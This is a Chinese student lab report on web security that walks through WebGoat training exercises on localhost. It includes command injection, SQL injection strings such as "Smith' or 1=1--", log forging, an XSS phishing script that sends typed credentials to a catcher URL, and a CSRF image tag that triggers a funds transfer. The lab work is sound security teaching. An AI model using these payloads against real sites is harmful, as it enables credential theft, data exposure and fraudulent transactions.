zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165318 Exp 9 Web安全基础

    2018-2019-2 网络对抗技术 20165318 Exp 9 Web安全基础

    • 基础问题回答
    • 实验过程记录
      • WebGoat安装
      • SQL注入攻击
      • XSS攻击
      • CSRF攻击
    • 实验总结与心得

    一、基础问题回答

    • 1、SQL注入攻击的原理,如何防御?

      • 原理:SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

      SQL注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。如:在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。

      • 防御:
        • 及时关闭或删除不必要的交互式提交表单页面;
        • 对可能的漏洞注入点的相关代码进行关键字的过滤。注意代码规范性;
        • 不要在服务器端防止备份的文件,
        • 将数据库中的内容进行加密处理使其不具有特殊意义
    • 2、XSS攻击的原理,如何防御?

      • 原理:XSS:跨站脚本。攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本(如:html标签或者javascript代码)的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
      • 防御:
        • 作为用户,要提高防范意识,不轻易输入个人信息;
        • 作为网页制作者,要对输入内容和URL参数进行过滤;在输出数据之前对潜在的威胁字段进行编码、转义等操作
    • 3、3.CSRF攻击原理,如何防御?

      • 原理:CSRF :跨站请求伪造。
        CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
      • 防御:
        • 验证请求中的Token
          验证 Referer
          添加加随机验证
          设定cookie域

    二、实验过程记录

    1、WebGoat

    WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入、访问控制、隐藏字段、Cookie等。

    • WebGoat默认使用8080端口,因此在使用前需要检查端口是否被占用。使用指令netstat -tupln | grep 8080进行查看。如果端口被占用可使用kill指令解除使用状态即可
    • 安装完成后使用指令java -jar webgoat-container-7.0.1-war-exec.jar
    • 浏览器中打开localhost:8080/WebGoat,使用默认用户名密码guest登录之后就可以进行练习了

    2、SQL注入攻击

    (1)、命令注入

    • 原理:在正常的参数提交过程中添加恶意代码来执行某些指令
    • 目的:在目标主机上执行系统命令
    • 操作方法:
      • 右键点击浏览器界面,选择审查页面元素对网页源代码进行修改。找到复选栏中的任意代码,右键并选择Edit At Html添加一条指令"& netstat -an & ipconfig"

      • 点击view,就可以看到指令执行之后的网络端口使用情况和IP地址。说明攻击成功

    (2)、数字型注入

    • 原理:通过在station字段中注入特征字符形成如永真式来形成新的SQL语句
    • 目的:通过形成SELECT * FROM weather_data WHERE station = [station]来查看所有的天气数据
    • 操作方法:
      • 审查页面元素对源代码进行修改,在城市编号的value值中添加or 1=1

      • 显示出了所有城市的天气状况,攻击成功。

    (3)、日志欺骗

    • 原理:通过在日志文件中插入脚本实现欺骗
    • 目标:使用用户名为admin的用户在日志中显示成功登录
    • 操作方法:
      • 本实验希望是的目标接受人户输入的任意用户名并将其最佳到日志文件中,
      • 利用0D%(回车)和%0A(换行符)在登录界面的username中输入zcy%0d%0aLogin Succeeded for username: admin
      • 攻击者可以通过这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员可以通过浏览器看到。

    (4)综合

    • 步骤一 字符串型注入

      • 进行网页元素审查,将密码框的最大输入长度限制为18

      • 使用Neville登录,密码输入为hello' or '1' = '1

      • 得到所有人员的列表,代表攻击成功

    • 步骤二 数字型SQL注入

      • 使用Larry、密码larry登录,点击ViewProfile查看用户信息
      • 审查页面元素,对网页源代码进行更改,将ID的value更改为101 or 1=1 order by salary desc
      • 查询到工资最高的员工信息,攻击成功。

    (5)字符串注入

    • 原理:通过注入下述语句构造SQL注入字符串SELECT * FROM user_data WHERE last_name = '?'
    • 目的:通过注入的字符串可以将所有信用卡信息显示出来
    • 操作方法:正常情况下只能查询到用户名对应的信用卡信息
    • 输入查询的用户名时输入Smith' or 1=1--
    • 得到所有的用户的信用卡信息,攻击成功。

    2、XSS攻击

    XSS钓鱼

    • 原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
    • 目的:创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
    • 步骤:
      • 利用XSS在已有界面当中添加两个元素:
        • 受害人填写的表格
        • 服务器通过读取脚本的方式将收集到的信息发送费攻击者。
      • 编写脚本将被喊着填写在表单中的用户名密码等信息发送给WebGoat
      • 脚本内容如下:
    </form>
    <script>
        function hack(){ 
            XSSImage=new Image;
            XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
            alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
        } 
    </script>
    <form name="phish">
    <br>
    <br>
    //表格
    <HR>
        <H2>This feature requires account login:</H2>
    <br>
        <br>Enter Username:<br>
        <input type="text" name="user">
        <br>Enter Password:<br>
        <input type="password" name = "pass">
    <br>
        <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    

    3、CSRF攻击

    (1)、跨站请求伪造

    • 跨站请求伪造是一种让受害者加载包含网页的图片的攻击手段。当受害者的浏览器尝试加载图片时,会使用指定的参数发送信息,从而实现攻击者希望实现的功能。
    • 目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。
    • 操作方法:
      • 查看页面右侧Parameters中的src和menu值,分别为267和900
      • title中的参数可以任意输入,在message中输入<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />,实现将图片以URL的形式放入message框中。用户一旦点击图片就会触发csrf事件。
      • 可以看到在messagelist中已经生成了以title命名的消息,单击该消息就会转走用户的5000元,从而实现csrf攻击的目的。左侧的任务栏中也会提示任务已经完成,

    三、实验总结和心得

    此次实验的基本流程及操作过程都可以在WebGoat平台的提示和中文手册中找到。所以说主要就是要理解每一个实验的原理。理解原理之后再进行实验就可以很顺利的完成实验了。

  • 相关阅读:
    天真的误会
    Unity3D笔记
    http纪要
    JQuery中ajax错误处理之页面跳转
    php代码片段
    3D游戏相关笔记
    Javascript笔记
    PHP对观察者模式的支持
    为什么要使用多线程
    死锁和活锁
  • 原文地址:https://www.cnblogs.com/zcy20165115/p/10925837.html
Copyright © 2011-2022 走看看